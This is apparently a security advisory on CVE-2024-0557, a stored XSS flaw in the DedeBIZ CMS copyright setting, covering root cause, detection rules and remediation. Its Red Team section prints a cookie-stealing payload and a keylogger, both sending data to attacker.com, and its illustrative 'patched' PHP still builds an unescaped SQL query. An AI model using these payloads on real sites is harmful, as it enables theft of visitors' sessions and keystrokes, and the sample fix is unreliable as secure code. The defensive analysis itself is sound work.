CVE-2024-0557

Executive Summary

CVE-2024-0557 is a stored cross-site scripting (XSS) vulnerability in DedeBIZ 6.3.0, specifically within the Website Copyright Setting component. The flaw allows an attacker with administrative access to inject arbitrary JavaScript into the copyright field, which is then rendered on the site’s frontend. Although the CVSS score is low (2.4) due to the requirement of authenticated access, the lack of a vendor patch and the public availability of exploit details elevate the risk for unpatched instances. This vulnerability is classified as problematic and can be exploited remotely, potentially leading to session hijacking, defacement, or phishing attacks against site visitors.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). DedeBIZ is a standalone PHP CMS, and the issue resides in its core application code. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 2.4 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires admin session for injection)
• User Interaction: Required (victim must visit the page)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Low (due to authentication requirement), but escalated to Medium for unpatched systems with active admin accounts.

Deep Dive & Mechanics

The vulnerability exists in the Website Copyright Setting module of DedeBIZ 6.3.0. The application fails to sanitize or escape user-supplied input when saving the copyright text. An authenticated administrator can inject arbitrary HTML/JavaScript into the copyright field. When the site renders the copyright on public pages, the injected script executes in the context of the victim’s browser.

Root Cause: Lack of output encoding in the template that displays the copyright string. The input is stored directly into the database and echoed without proper escaping.

Attack Flow:

1. Attacker gains admin credentials (via phishing, brute force, or other means).
2. Attacker navigates to the Website Copyright Setting page.
3. Attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the database.
5. Any visitor viewing a page that includes the copyright string triggers the script.

Vulnerable vs. Patched Code

Vulnerable Code (DedeBIZ 6.3.0):

// In admin/copyright_setting.php (hypothetical)
$copyright = $_POST['copyright'];
$dsql->ExecuteNoneQuery("UPDATE `#@__config` SET `value`='$copyright' WHERE `varname`='copyright'");

Patched Code (Hypothetical fix):

// In admin/copyright_setting.php
$copyright = htmlspecialchars($_POST['copyright'], ENT_QUOTES, 'UTF-8');
$dsql->ExecuteNoneQuery("UPDATE `#@__config` SET `value`='$copyright' WHERE `varname`='copyright'");

Template rendering (vulnerable):

echo $cfg_copyright;

Patched template:

echo htmlspecialchars($cfg_copyright, ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for DedeBIZ 6.3.0.
• Network access to the admin panel.

Exploit Steps:

1. Log in to the admin panel (e.g., http://target.com/admin).
2. Navigate to System → Website Copyright Setting.
3. In the copyright field, inject a payload:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the setting.
5. Wait for an admin or visitor to load any page that displays the copyright.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team

Detection:

• Monitor admin panel access logs for unusual POST requests to copyright_setting.php.
• Look for base64-encoded or obfuscated JavaScript in the copyright field.
• Use WAF rules to block <script> tags in the copyright input.

Hunting:

• Query the database for copyright values containing <script, onerror, onload, or javascript:.
• Check web server logs for requests to copyright_setting.php from suspicious IPs.

Indicators of Compromise (IOCs)

• File: /data/config.cache.inc.php (may contain malicious copyright value)
• Database: #@__config table, varname='copyright' with malicious payload
• Network: Outbound HTTP requests to attacker-controlled domains from the server
• Logs: Admin panel access logs showing POST to copyright_setting.php with unusual parameters

Detection Engineering

YARA Rule

rule detect_dedebiz_xss_copyright {
    meta:
        description = "Detects malicious XSS payloads in DedeBIZ copyright setting"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0557"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: DedeBIZ Copyright XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in DedeBIZ copyright setting POST requests
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: '*copyright_setting.php*'
        cs-request-body: 'copyright=*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in copyright (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"DedeBIZ Copyright XSS Injection"; flow:to_server; content:"POST"; http_method; content:"copyright_setting.php"; http_uri; content:"copyright="; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the copyright setting if not needed, or restrict access to the admin panel via IP whitelisting.
2. Apply input validation – sanitize the copyright field to allow only plain text (strip all HTML tags).
3. Use a WAF to block <script> and other XSS patterns in POST requests to copyright_setting.php.

Long-term Fix:

• Upgrade to a patched version of DedeBIZ (if/when available).
• Implement output encoding using htmlspecialchars() or a templating engine that auto-escapes.
• Conduct a full security audit of the admin panel.

Workaround:

• Manually edit the database to remove any malicious copyright values.
• Add the following to .htaccess to block direct access to the copyright setting:

  <Files "copyright_setting.php">
      Require ip 127.0.0.1
  </Files>
  

Valters IT
DevSecOps & Cyber Threat Intelligence